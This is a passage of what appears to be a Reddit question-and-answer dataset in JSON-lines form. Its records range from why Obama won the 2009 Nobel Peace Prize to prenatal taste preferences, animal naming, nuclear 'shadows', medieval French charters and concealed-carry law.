cooperation between peoples\".\n\n > How did \"A New Beginning\" foster international diplomacy and cooperation? After 9/11 and the prolonged Iraq War, one of the most hostile relationships in politics was between the United States and the Arab World. The Israel/Palestine issue is one of the most difficult problems to solve. Egypt is the largest Arab country, and seen as the centre of the Arab world and influential in the outcome of Israel/Palestine peace. So Obama shot for the stars. He went to Egypt to try to ease US-Arab tensions, and kick off a strong Israel/Palestine peace process.\n\n > But there's more! In the past, American presidents have used very strong, unapologetic language, like that of President George W. Bush. In \"A New Beginning\", Obama didn't do that. His speech was one of mutual respect, something an American president hasn't done in a long, long time.\n\n > He also quoted from the Quran! But so what! What does that mean anyway? Well, the concept of recognition is crucial toward building trust. By quoting from the Quran, Obama is implying that he *recognizes* Islam and respects it. Respect is the first step toward peace as it opens up diplomacy.\n\n > The Norwegian Nobel Committee also said that Obama's **\"vision of and work for a world without nuclear weapons\"** was a reason. This is not particularly important because a lot of presidents have talked about reducing nuclear stockpiles internationally. Particularly, in 1991, there was a treaty called START which started this process. The Nobel Committee saw that Obama was taking this *even further*. He started writing and talking about a new START treaty to reduce nuclear weapons even before his \"A New Beginning\" speech in June, so the Nobel Committee had a lot of time to consider it. If Obama let the last treaty expire in 2012, more nuclear weapons would spread around the world. Although he criticized Iran here, he was sure to be fair. And his efforts to be fair were astounding: he admitted that the United States overthrew a democratically elected leader in 1953, which was very fair. The Nobel Prize committee saw this as him being the \"bigger man\" about the problem.\n\n > Also, the Norwegian Nobel Committee said he got the prize because as a result of his speech, **\"democracy and human rights are to be strengthened\"**. Obama talked a lot in Cairo about human rights, religious freedom, and the rights of women in his speech. And in Hosni Mubarak's front door step as well! That takes nerve. Did his speech have an impact on the Arab Spring? Certainly. The Egyptian youth were listening to this speech. They wanted democracy before Obama came in, but Obama's speech gave them support. Obama didn't create the Arab Spring by any means, but it helped a little and set the tone in the Arab world: an American supports and respects Muslims, so how bad could democracy be? The Norwegian Nobel Committee certainly didn't predict that this would lead to the Arab Spring, but as a group of politicians and students of international relations and political science, they sure understand the impacts that such a speech could have.\nThe Norwegian Nobel Committee also felt that Obama is helping the USA play \"a more constructive role in meeting the great climatic challenges the world is confronting\". There is very little evidence of Obama addressing climate change in time of the October 2009 decision, but by September, Obama proposed new regulations on industry polluters to curb emissions--something George W. Bush wouldn't have done, or didn't do. He strengthened the EPA.\n\n > Although not directly mentioned by the Committee, Obama also launched the debate on better healthcare in 2009, and talked strongly about closing Guantanamo Bay and ending the Iraq War.\n\n > Herein lies the problem of giving the award to Obama for many people. Before ending the Iraqi war, the war was scaled up. Indefinite detentions were scaled up by 2012, not retracted. And the Obama administration took up a smaller role on renewing the Kyoto Protocol than many had expected. Although Obama did **a lot more for global diplomacy and democracy by October 2009 than many presidents in their entire term** (which the Norwegian Nobel Committee noticed), in retrospect of three years, a lot of this has been undone by drone strikes, the relative failures of the Copenhagen summit on climate change, and the passing of the National Defence Authorization Act. This is why people like to wait before awarding a Nobel Prize, and why there was criticism.\n\n > **TL;DR: The fact that he's black and liberal usually overshadows Obama's achievements up to October 2009, when he was selected. The truth is that he has done a lot of good in the international community through his speech in Cairo, ratcheting up the reductions of US/Russia nuclear stockpiles, and scaling up emissions regulations through the EPA. A lot of other Peace Prize winners did a lot more in earning their Peace Prize, but some others have done a lot less than Obama to earn their's.**\n\n > **EDIT:** People will inevitably want an analysis on the individual views and biases of those individuals on the Norwegian Nobel Committee. This doesn't mean much because it's speculative, and the Committee members have no reason to lie in their original report, but lets take a look.\n\n > **Chairperson Thorbj\u00f8rn Jagland** is a politician for the Norwegian Labour Party. He is pro-European consolidation and president of the Council of Europe. He is known to have preferred the European Union for the Nobel Peace Prize since 2008. If he had it his way, the EU would've beat out Obama.\n\n > **Deputy Chairperson Kaci Kullmann Five** is a politician for the Norwegian Conservative Party. The Conservative Party is a neoliberal party for tax cuts and smaller government. Ironically, despite all the socialists on the committee, **she is responsible for championing Barack Obama for the Prize**.\n\n > **Sissel R\u00f8nbeck** is a politician for the Norwegian Labour Party. Her expertise lies in how she is the Minister for Environmental Affairs, and deputy director for the country's body on Cultural Heritage. She is a socialist.\n\n > **Inger-Marie Ytterhorn** is a politician for the Norwegian Progress Party. The Progress Party is the main right wing party in Norway and supports the growth of the oil industry and lower taxes. It supports a Christian heritage, and relatively anti-immigrant.\n\n > **\u00c5got Valle** is a politician for the Norwegian Socialist Left Party. The Party is pro-environment and advocates for larger government responsibility.\n\n > **TL;DR 2:** There are three socialists and two right-wing leaning politicians on the committee that selects the Nobel Prize Laureate. Ironically, it was a right-wing politician that championed Obama for the Prize, while the Chair was championing the European Union. There was no clear consensus between the committee members as to whether Obama should be chosen as the winner.\n\n_URL_0_", "In all honestly pretty much nothing.  He hadn't been in office that long.  I remember reading an interview where he basically said he didn't think he had done anything to deserve it.  Officially this is why got it (from wiki)\n\n\"The Norwegian Nobel Committee announced the award on October 9, 2009, citing Obama's promotion of nuclear nonproliferation and a \"new climate\" in international relations fostered by Obama, especially in reaching out to the Muslim world.\"\n\nEdit: clerification", "Please keep the top-level comments (replies to the post rather than to other comments) to the reasons why he was awarded the prize, not whether or not he actually deserved it.", "Let's be real, it was hype and they got caught up in it. \n\nHe wasn't Bush and was the first half black POTUS who spoke well. ", "Go look up previous recipients of the award. The Nobel Peace Prize is a political award to try to get politicians to do things that the Nobel committee favors. Why did Henry Kissinger win one?", "Everyone thought Obama was going to stop the wars in Iraq and Afghanistan, and shut down the torture prisons.  ", "Trick question. He didn't and doesn't. ", "By not being George W. Bush.  The whole world was so relieved to see him go they were willing to shower praise upon the next guy solely for not being him.", "He replaced George Bush.", "President Bush pissed off the losers in Scandinavian who really think too highly of themselves in their elitist ivory towers. Of course, they don't lift a finger or build a military to assist people around the world by removing dictators. When was the last time you saw Sweden invade Somalia? So yeah...fuck them and their moral platitudes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/comments/o4i9i/eli5_why_did_barack_obama_win_a_nobel_peace_prize/"], [], [], [], [], [], [], [], [], []]}
{"q_id": "bsqez4", "title": "When did bright and full-spectrum color pallettes become associated with childishness and immaturity in western culture?", "selftext": "I don't have a name for this phenomenon but its undeniable. In many other cultures, bright, multi-colored, and \"dazzling\" patternwork is entirely commonplace throughout history. However, in western judeo-christian cultures, this is basically shunned, and nowadays almost exclusive to products tailored for pre-bubescent children (toys, television programs) and in a few token sub/counter-cultures (e.g. LGBTQ  &  ravers). \n\nThat said, I feel like this didn't really exist prior to the late 80s or 90s. If you look at die-cast or tin toys of the mid-century their color pallets rarely diverged from adult-oriented products.\n\nHow and when did this trend begin? I have a feeling it has something to do with the 1950s proliferation of \"nurseries\" as a room in a house where babies are reared, and the explosion of related products. Maybe Sherwin-Williams and advertisers are to blame?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bsqez4/when_did_bright_and_fullspectrum_color_pallettes/", "answers": {"a_id": ["eorb6ok"], "score": [31], "text": ["This is a complicated answer; belief/understanding morphs greatly over time and is not uniform in any instance since Greco Roman times. Scholars note the Byzantine period (particularly for its \"bright\" use of gold to signify for the ubiquity and omnipresence of God, later described as garish by artists/art historians such as Leon Battista Alberti (1404-1472)) as a hard/soft break/shift (depending on who you ask) from Greco Roman ideas about form and color. So in short, debate about the use of color as you're asking occurred in ancient Greco Roman times and came about fiercely during the Renaissance. Bright and full-spectrum color palettes were always associated with \"immaturity.\"\n\nI can point you to a few concepts that Patricia L. Rielly expands on greatly in her article, \"The Taming of the Blue\" which you can find in the anthology *Expanding Discourse: Art and Feminism.* The question you're asking about not only deals with the question of bright/full-spectrum vs muted color palettes but rather an age old debate about *disegno* and *colore*. This takes a bit of a gendered conversation, which I will minimize, but one may perhaps liken d*isegno* (male)*,* or design/form, to the \"ideal\" in platonic terms and *colore* (female)*,* color, to \"matter.\" *Disegno* is the blueprint and *colore* fills out the blueprint. Since Greco Roman times *disegno* was almost always given precedence over *color*e because an \"idea\" is the foundation upon which \"matter\" is built. It behooved the artist to master *disegno* rather than *colore* because mastery over *colore* without full mastery over *disegno* is \"deceptive.\" It was believed that color could be used to fool/seduce the viewer into believing that a work of art was \"good\" when in fact color was being used to mask the flaws in the \"design\" of the artist. Therefore, to really make *disegno* pop, artists carefully tip-toed around *colore* opting for a more muted color palette. Nevertheless, dissenters in both Greco Roman times and during the Renaissance placed equal or more value on *colore,* which Rielly mentions and sources as does the scholar Ian Kennedy. Kennedy states that Philostratus (c. 170-250 CE) in *Imagines* argued against the classical tradition and that color was an essential life giving form. Kennedy postulates (with the formal analysis of art) that Philostraratus' opinion perhaps influenced 16th century Venetians, who had often argued along similar lines, that *colore* was the means by which *disegno* was actualized.  The Venetian voice was heard on some level by others in the Italian Peninsula. Michelangelo was always considered the greatest artist because his mastery over form was considered greatest by Italian writers of that era. However, even Giorgio Vasari (1511-1574) had acknowledged that Titian's mastery over *colore* made at least one work greater than Michelangelo's because Titian had mastered both form and color in a way no other artist had ever achieved. It is a bit ironic because Titian's palette was bright, as you'd say. In any case, his attention to form solidified him as an artist.\n\n & #x200B;\n\nSO TLDR: Muted palettes were always favored in western culture because it allowed the form of the work to speak for itself. Bright colors were always believed to \"fool,\" \"entice,\" \"deceive.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6n9s3m", "title": "Does what my mother ate while she was pregnant with me effect what I like/don't like to eat?", "selftext": "When my mum was pregnant with me she ate a lot of oysters (and I mean A LOT - like several dozens a day, most days). I personally find oysters to be gag-inducingly foul without exception, always have. \n\nWhenever I've mentioned this to my friends they often seem to have an especially hated food that their mother craved a lot during pregnancy.\n\nIs there an actual correlation here or is it just a coincidence?\n\nEDIT: Thanks to everyone for all the replies! I wasn't expecting such an enormous response. Appreciate it a lot.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6n9s3m/does_what_my_mother_ate_while_she_was_pregnant/", "answers": {"a_id": ["dk81l16", "dk81pvb", "dk81vut", "dk81wxq", "dk82hmj", "dk82spg", "dk8f6xh", "dk8g8mf", "dk8hdgt", "dk8i9kr"], "score": [4634, 127, 60, 111, 2, 663, 20, 3, 14, 12], "text": ["At least for infants, it's the opposite. \n\nBabies have shown preference to foods their mother ate while they were in utero and being breastfed.\n\n_URL_0_\n\nHowever, how flavors taste to you may be partially controlled by genetics. So regardless of what your mother ate, if your father can't stand the taste of oysters, you may hate them as well. \n\n_URL_1_", "[It is my understanding that amniotic fluid can influence food preferences](_URL_0_), but I'm not sure if there is evidence suggesting it extends into adulthood. ", "That's really interesting. I know that [fetuses taste what pregnant women eat](_URL_0_) and for the most part, that helps expand their palates, but I don't know anything about over-exposure. It makes sense, though, normally you get sick of something if you eat it too many times in a row, and if you weren't the one choosing to eat it, you might be even more turned off of it. ", "I don't think there's any data to support this, however you may find [this](_URL_0_) review interesting nonetheless. It goes into the nature of pregnancy cravings themselves, and how they are similar or different across different population groups. Teasing apart the very real nausea pregnant women experience and how that affects them behaviorally as well as cultural expectations for cravings is no easy task. \n\nOysters are a particularly problematic example because many people dislike oysters as adults, and oysters are most frequently consumed raw, which isn't advised for pregnant women. ", "There was a TED talk about this which determined there was some links between what (and how often) a mother eats and its affect on the unborn child.  They had a few studies on mothers drinking carrot juice and the baby's chances of liking it increased dramatically. In the same video, it talked about mothers pregnant born in famine and the affects on the child.  The child's body apparently prepares itself for a life outside the womb with limited nutrients, so in cases where the famine ends, the children's body who expected little to eat has several issues with the now abundance of foods, leaving to higher risk of some negative health affects.  \n\n[Found it](_URL_0_)", "_URL_0_\n\nThis is a study in which mothers who drank carrot juice had babies who appeared to enjoy carrot flavouring more than babies unexposed to carrot juice during pregnancy and breast feeding.  However, the study does not go into adolescent and adult preferences of the child.\n\nI haven't seen enough studies answering your exact question to say for sure, but my best guess for your question is correlation.  Any studies I'm seeing by Julie Mennella, who researches this stuff, point to pre-born exposure to foods leading to infant preferences.  I haven't seen any longitudinal studies following the child to adulthood.", "The converse can also be true: placental stem cells can colonise the mother, permanently affecting her sense of taste (among other things) via colonial chimerism. _URL_0_", "Stomach bacteria influences what you like to eat. [(x)](_URL_0_)\n\nYour stomach flora is related to that of your mother:\n\n > Before birth, the digestive tract of the fetus is sterile, but within hours of birth, the baby acquires a complex collection of microorganisms which populate the mouth\u2014then eventually the full length of the tract will be colonized. The development of specific microorganisms is influenced by the exposure to certain factors such as maternal microbiota, environmental contact, mode of delivery and the infant\u2019s diet.[(x)](_URL_1_)\n\nMy mother personally ate lots of Borschtsch which I hate.", "I had wondered if something similar takes place with babies being allergic to things the mother DIDNT eat. For example: my husband is allergic to peanuts, and his mom has a general dislike for peanuts (though not allergic) so she didn't eat them or peanut butter that kind of stuff during her pregnancy. Removing genetic factors, could his allergic reaction to peanuts be partially due to lack of exposure in the womb?\n\nI have no idea how this would work for other things, I was just curious.", "Can I add to this question?\n\nI've also heard that allergies can be caused by what a mother eats, usually by the mother eating too much of a food (ex: mother obsessed with peanut food during pregnancy, baby allergic to peanuts).  What effects do mother consumption have on allergens?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.npr.org/2011/08/08/139033757/babys-palate-and-food-memories-shaped-before-birth", "http://www.supermarketguru.com/articles/are-food-preferences-inherited-or-learned.html"], ["https://www.ncbi.nlm.nih.gov/pubmed/11389286"], ["http://www.npr.org/2011/08/08/139033757/babys-palate-and-food-memories-shaped-before-birth"], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4172095/"], ["https://www.ted.com/talks/annie_murphy_paul_what_we_learn_before_we_re_born/transcript?language=en"], ["https://www.ncbi.nlm.nih.gov/pubmed/11389286"], ["https://www.scientificamerican.com/article/fetal-cells-microchimerism/"], ["https://www.theatlantic.com/health/archive/2014/08/your-gut-bacteria-want-you-to-eat-a-cupcake/378702/", "https://microbewiki.kenyon.edu/index.php/Newborn_baby_digestive_tract"], [], []]}
{"q_id": "4lh25s", "title": "what happens when you overplay a song and dont enjoy it as much anymore?", "selftext": "I have a bad habit of listening to a song over and over again until I start to not like it as much. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lh25s/eli5_what_happens_when_you_overplay_a_song_and/", "answers": {"a_id": ["d3n95dy"], "score": [2], "text": ["They say familiarity breeds contempt. When you know exactly what is coming each time it lowers the excitement factor.  The mind releases adrenaline and serotonin and dopamine in response to excitement and thrills, but there is no anticipation once you know every note, and the brain stops responding in the same way"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bs4joc", "title": "What do the pollen count numbers actually mean?", "selftext": "A friend of mine is looking for an explanation of the pollen count scale. \n\nShe wants to know \"how a measurement is converted to this scale, is it linear, etc.\" She was looking up information on it, but she kept getting simplified style info, and she wants more detailed scientific explanation of it. \n\nThank you!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bs4joc/what_do_the_pollen_count_numbers_actually_mean/", "answers": {"a_id": ["eok5k9r"], "score": [16], "text": ["In Denmark the pollen count is the number of pollens in one cubic meter of air over 24 hours (averaged). They measure it by pulling air through a pollen trap for 24 hours, dyeing the pollen in the filter, and then counting it under a microscope. The scale is linear; double the pollen count means double the amount of pollen in the air.\n\nThe scale may be different (cubic feet or a different time frame) in other countries.\n\n & #x200B;\n\nEdit: [Here's a picture of some pollen under a microscope](_URL_0_) (Credit: Asthma-Allergy Denmark)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.dmi.dk/fileadmin/user_upload/Bruger_upload/Tema/Vejr_og_atmosfaere/Pollen/Astma_allergi5.JPG"]]}
{"q_id": "61vly6", "title": "Did ancient Romans have a slur or derogatory term for Carthage or Carthaginians", "selftext": "To demonize one's enemy in conflict seems to be a common trait. Fostering resentment to a rival to better justify conflict with said rival. In Greek or Latin, did ancient Romans have any demeaning nickname or slurs for Carthage in particular? If so, what were they and how frequently or rarely were they used during the period of conflict? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/61vly6/did_ancient_romans_have_a_slur_or_derogatory_term/", "answers": {"a_id": ["dfhyjof"], "score": [14], "text": ["The Romans did, in fact, have slurs or at least phrases that were demeaning of Carthaginians or punic culture in general. I can't seem to find a source with reference to slurs as we know them: one word that is used in place for the entire people. The phrases appear to be more focused on the stereotypical behavior of Carthaginians. For instance, we see multiple derogatory remarks about the Carthaginians in the works of Livy. One such term that was common in the Augustan period was \"fides Punica\" which literally means \"Punic faith.\" However, this phrase actually referred to faithlessness, implying that the Carthaginians were faithless people. Additionally, in Virgil's Aeneid, the line \"domum timet ambiguam Tyriosque bilinguis\" appears when Dido fears allowing typical Carthaginian behavior to occur. Essentially, the phrase implies ambiguous/deliberately dishonest language being spoken by Carthaginians. This represents a Roman stereotype of Carthaginians as liars or \"fork-tongued.\" \n\nUnfortunately, as I stated previously, I was unable to find really any \"names\" given to the Carthaginians during the Punic Wars in the same way Americans/Brits called Germans \"krauts\" during the Second World War. However, these sources do imply that stereotypical views of Carthaginians were held by the Romans and, in my opinion, it's not unlikely for such slurs to have existed in the Roman/Latin vernacular. Hope this helps!\n\nNote: First time doing this so any advice would be appreciated.\n\nSource: \"Fides Aeneia: The Transference of Punic Stereotypes in the Aeneid\" by John H Starks, Jr.\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.jstor.org/stable/pdf/3298369.pdf"]]}
{"q_id": "26yi1q", "title": "Are there any examples of Animals naming eachother/ having names? (elephants, for example?)", "selftext": "I know animals have warning calls that can mean different things, but do they ever name eachother?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26yi1q/are_there_any_examples_of_animals_naming/", "answers": {"a_id": ["chvq6gm", "chvqwex", "chvrwlq", "chvtw80", "chvtyl1", "chvuox2", "chvuppm", "chvuqhp", "chvxdnw", "chvy59w", "chvye10", "chvz23d", "chw61v5", "chw7j5h", "chwb5xq"], "score": [2, 1095, 459, 13, 233, 27, 97, 71, 32, 65, 13, 17, 6, 3, 2], "text": ["It seems dolphins may use names to communicate. \nSource: _URL_0_", "Dolphins have names. They even are thought to recognize their names when a dolphin they don't know uses it. [Here](_URL_0_) is a link to a National Geographic article about it. Not sure beyond that though. ", "This example is not of an animal having an individual name but more of a family name or identifier.\n\nThere seems to be a type of bird in Australia called the Superb Fairy-wren that teach their chicks a sort of family name (or identifying code) while they are still in the egg.\n_URL_0_\n\nApparently if a chick in the nest does not call out the proper name or code the parent may kick out the interloper or abandon the nest completely. This behavior seems to have developed in response to a species of Cuckoo, a type of brood-parasite that deposits their eggs in Superb Fairy-wren nests.", "This fascinating [video](_URL_0_), from the Cornell School of Ornithology, describes how individuals in a parrot species have names. In it they explain how they get them and use them.", "[Koko the gorilla named her cats All Ball, Lipstick, and Smoky](_URL_1_; [Michael named his dogs, too.](_URL_0_)   In the same way that much of Koko's language mastery is debated, it is unclear whether this naming was an extension of natural gorilla behavior played out in a new language, and/or to what extent it represents acculturation and/or mimicked behavior instead, but it certainly is an example of animals naming animals.", "Here is an interesting article on that, and some video of how they discovered and tested the naming and language structure of wild parrots.\n\n _URL_0_", "There's some work to suggest that [Green-rumped parrotlets](_URL_0_) actually [name their offspring] (_URL_1_).\n\nAnd as others point out: maybe dolphins do, too.\n\n\nBut, this is kind of a difficult area to research as if these animals have a language -- we don't know what it is nor really how to understand it. ", "Prairie dogs have amazingly detailed vocalizations that are not only used to alert to 'intruders' near their home but also describe what these intruders look like. It is hard to say if their vocalizations include names, but with the wealth of detail used in their vocalizations it wouldn't surprise me.\n[Article and video here](_URL_0_).", "Wolves have unique howls which others can use to identify them, which is one aspect of what a name is. But since another wolf can't make the same howl, they can't talk about each other (unlike dolphins).\n\n_URL_0_", "Crow vocalizations aren't particularly well understood, so it's unknown if they actually do name things, but there are several things that makes it likely that they name things.\n\nIt has been observed that crows under human care will make unique vocalizations for people it regularly encounters. Crows are known to remember researchers that have tagged them and teach their young to avoid those researchers and will warn other crows when those researchers are present. So, they certainly show behavior consistent with labeling things with certain vocalizations, which is a sort of naming.\n\nHowever, I don't know if there is any indication that individual crows are assigned unique vocalizations. I'd like to see an experiment that explored that.", "I couldn't find too much about this, however I've heard in passing that species of whale (in this article they only talk about Sperm Whales) that have \"names\" that are present in their vocalizations to identify them to other whales and other pods.\n\n_URL_0_", "Meerkat's have multiple vocalizations for different threats.  For example the meerkat word for \"Snake\" will get all the meerkats in the area to look at the ground and their word for bird gets them all looking to the sky.", "Dolphins have special calls that refer to only a specific individual. So yes, they have names. This is also seen in parrots. It was some species of parakeet or lorikeets or something where the parents actually name their babies. ", "_URL_0_ There's this.\n\nBut seriously, it depends how strictly you want to adhere to 'name'. If you can consider a vocalisation meant specifically to attract the attention of an intended individual then many species of bats and birds work this way, particularly in nesting/creche situations.", "I know that Kanzi the bonobo and several other apes that have been trained in rudimentary language skills have been able to learn the names of other apes and their caretakers. Kanzi was trained to use a soundboard to press arbitrary buttons for words and would ask for the keepers to let out other apes to play with him by pressing the buttons for things like \"Keys, door, (other ape's name), Kanzi.\" There's a documentary about it on Youtube, but I'm on mobile, so I can't go hunt it down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://m.pnas.org/content/early/2013/07/17/1304459110"], ["http://news.nationalgeographic.com/news/2006/05/060508_dolphins.html"], ["http://www.npr.org/blogs/krulwich/2014/05/28/257046196/a-little-bird-either-learns-its-name-or-dies"], ["http://youtu.be/Ed9A4HPdXgQ"], ["http://koko.org/kidsclub/ask/", "http://en.wikipedia.org/wiki/Koko_(gorilla)"], ["http://www.npr.org/blogs/krulwich/2014/04/15/300136332/can-it-be-parrots-name-their-children-and-those-names-like-ours-stick-for-life"], ["https://en.wikipedia.org/wiki/Green-rumped_Parrotlet", "http://www.theguardian.com/science/grrlscientist/2012/sep/22/1"], ["http://www.treehugger.com/natural-sciences/researcher-decodes-praire-dog-language-discovers-theyve-been-calling-people-fat.html"], ["http://science.slashdot.org/story/13/07/25/0116254/unique-howls-are-what-wolves-use-as-names"], [], ["http://www.wired.com/2011/03/sperm-whale-names/"], [], [], ["https://www.youtube.com/watch?v=SNfQda8ceGs"], []]}
{"q_id": "2z5934", "title": "how does an atomic bomb permanently burn the shadow of it's victims into stone?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2z5934/eli5_how_does_an_atomic_bomb_permanently_burn_the/", "answers": {"a_id": ["cpfs30k", "cpft24g", "cpfv86n", "cpfwr1m", "cpfwx85", "cpg1xz9", "cpg20rp", "cpg34g1", "cpg3ysj", "cpg68o8", "cpgc8us"], "score": [67, 279, 12, 8, 2, 4, 3, 3, 3, 3, 4], "text": ["It's not the shadow that's burnt into the concrete but the remains of the body due to the intense heat of the explosion.", "There are a couple of things that happen when a nearby atomic blast occurs. The intense heat and pressure from the blast would rapidly vaporize the body and accelerate its remnants at any nearby object, embedding lots of carbon char into the surface of nearby solid objects capable of withstanding more heat than the human body.\n\nFurthermore, the intense heat would also bleach the surface of those more resilient materials. A stone wall might have had dirt or soot on it but after a blast anything loose on its surface exposed to the heat would have been vaporized leaving the underlying stone bare.\n\nOf course, these effects are exaggerated in media which depict atomic aftermath for dramatic effect. Seeing all that is left of a person as a shadow blasted into a wall is intensely powerful as an image from the past 70 years. So take this explanation with a bit of salt, as what is more likely to happen is everything getting blown to pieces, not leaving a stone un-glassed. Aside from Hiroshima and Nagasaki, nuclear weapons have not been used in warfare aside from a particularly rattle-y saber, and they pale in comparison to the yield of later weapons.", "the explosion blasts away dirt and stuff except where people were standing and absorbed the energy -- >  \"shadows\" of dirt", "My guess is that the intense light from the nuclear explosion bleached the stairs, except where it was blocked by the person standing.  Have you ever noticed that after many years a photograph exposed to the sun will fade?  If you remove the photo from the frame, you can often notice a marked difference at the edge where the frame blocked the sunlight.  An atomic explosion gives off basically the same radiation as the Sun.  It's incredible that there is such a marked affect after such a short exposure, though.", "The reason stated in the other thread is that it is because the bomb essentially bleached the entire area touched by the light, therefore the shadow didn't really get burned in but actually protected the area from the \u00a8burn.\u00a8", "Here is a simple explanation:\nThe explosion acts as the sun... except that instead of emitting UV rays it emits thermal radiation. The radiation will bleach anything it ends up hitting, much like the UV rays cause sunburns. \n\nBut anything that gets in the way \u2014 including a soon-to-be-vaporized body \u2014 will soak up those rays, effectively shielding whatever is behind it from the bleaching effect. In a real sense, the dead acted as a form of nuclear sunblock. The result is the \u201cshadow\u201d.\n\nSource.\n_URL_0_", "I feel like this was explained a hundred times in the post about this earlier today and someone wanted some karma.", "This isn't an answer, but you've reminded me of an image I first saw when I was really young and reading an illustrated version of the story \"There Will Come Soft Rains...\" from the Martian Chronicles.  It was probably ten years before I understood how the shadow was formed.  Image here: _URL_0_.  In that case, it is an inverted shadow due to charring of the side of the house except where shadowed by the family.", "It's similar to shadow puppets.\n\nThe bomb goes off and the heat and light hit the person or thing that's in the way and is blocked. This leaves the effigy(shadow) of the person/thing on the surface they were in front of.", "There are many examples of shadows etched onto surfaces in Hiroshima besides those left by people. These include bridge guardrails, steel ladders against walls, and on a large valve over 2km from ground zero. So the effect is mostly from the bleaching of scorched surfaces.\nThe Hiroshima Peace Museum as a section of stone steps from a bank with a shadow of a person who was sitting at the time. The impression has faded, but is still visible.", "It was explained in the thread...\n\n\nIt doesn't burn a shadow into stone. It permanently bleaches the surrounding stone, and because someone is standing there the stone immediately behind them is not bleached, leaving it a colour closer to the original than the bleached version."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://nowiknow.com/nuclear-shadows/"], [], ["http://www.mania.com/gallery/30416/25801.jpg"], [], [], []]}
{"q_id": "4h1onv", "title": "Full text of medieval charters of communes in Northern France?", "selftext": "Hi, \nI can't find any charters from communes in Northern France in the Middle Ages, except for one book in French which Google Translate is ineffective in translating but which I don't think has the actual text of the charter in it ... is there a repository of such things?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4h1onv/full_text_of_medieval_charters_of_communes_in/", "answers": {"a_id": ["d2mshds"], "score": [3], "text": ["Firstly, I'm going to assume from your post that you don't speak/read French. How about Latin?\n\nIf that's a no too, then you're in for a tough time finding anything helpful. There is no central repository for French communal/urban charters and many of them havn't even been published, let alone been put online. Those that have been published (either in print or online) will usually be kept in the original Latin or, much less likely, translated into French. I can't say I've ever come across any that have been translated into English.\n\nThere are some options open to you if you want to try get your hands on some texts, but to get a lot of them it'll probably take access to some sort of inter-library loan service. Firstly, you can start with Stein's *Bibliographie Generale des Cartulaires*, which is online [here](_URL_0_). Stein is a listing of all the cartularies (charter collections) preserved in France and is invaluable for getting a sense of what's out there. It's organised alphabetically by placename, and thereafter by institution, so you can scroll down to the town you want (Arras, Rouen, Paris) and then find the section for the town itself ('Ville'), nestled in amongst all the ecclesiastic institutions. You can then do a google search for the document or cartulary you've identified, which may either be online or gathering dust in an archive.\n\nWhich brings me to the second route you can go down, which will be particularly useful for finding original charters (i.e. those not preserved in cartularies): go visit the websites of the *Archives D\u00e9partementales* and the *Biblioth\u00e9que Municipale* of the towns you're interested in. This can be an exercise in frustration, and many will not have an English-language page or even any helpful information, but if there's going to be anything published online, either the full charter texts or information about them, it's likely to be here.\n\nThose would be my starting points anyway. Good luck with whatever you're researching and feel free to shoot any follow-up questions my way: I've spent the last few weeks trying to identify obscure French charter sources, so I should be able to give pointers if nothing else!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.org/details/bibliographieg00steiuoft"]]}
{"q_id": "4ndd45", "title": "how is the 9th circuit court's decision on concealed carry today reasonable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ndd45/eli5_how_is_the_9th_circuit_courts_decision_on/", "answers": {"a_id": ["d42xqc8", "d42y80g", "d42yde5", "d42ydlq", "d42zdqg"], "score": [7, 17, 6, 3, 2], "text": [" >  What am I missing?\n\nThe 9th Circuit is the most overturned court in the country for a reason.", "The First Amendment guarantees the right to free speech, but you can get in trouble for inciting hate crimes, yelling \"I HAVE A BOMB!!!\" on an airplane, etc. There are reasonable restrictions to the right to free speech.  \n\n\"right to keep and bear arms shall not be infringed\" does NOT MEAN \"there can be absolutely zero rules about guns\".  ", "The 9th circuit court didn't rule that people didn't have the right to bear arms, they just ruled that people don't have the right to *conceal* the arm they bear.\n\nFrom an article about the 9th circuit court's decision:\n\n >  In 1897, well after the adoption of the Second Amendment, the U.S. Supreme Court ruled that \"the right of the people to bear arms is not infringed by laws prohibiting the carrying of concealed weapons.\"", "The start of the amendment talks about the need for a \"well-regulated militia\" - those who approve of gun control note the 'well regulated portion' while those who are against gun control focus on the 'shall not be infringed.' In the time shortly after the constitution was passed, all manner of gun laws existed and were not found unconstitutional. Under existing Supreme court precedent, laws regulating guns are ok, but laws outright forbidding ownership have been recently struck down. ", "The Second Amendment gives the right to bear arms as part of a well regulated militia. That specifically gives the government the ability to regulate gun ownership and use. It cannot be taken away, but it can be limited, documented, and watched. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
